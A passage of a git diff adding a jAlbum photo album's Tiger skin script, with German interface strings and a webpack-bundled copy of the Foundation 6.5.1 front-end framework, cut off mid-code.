    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Eppingen/album/lifeboat.zip new file mode 100644 index 00000000..f32b672c Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Eppingen/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Eppingen/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) {\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, 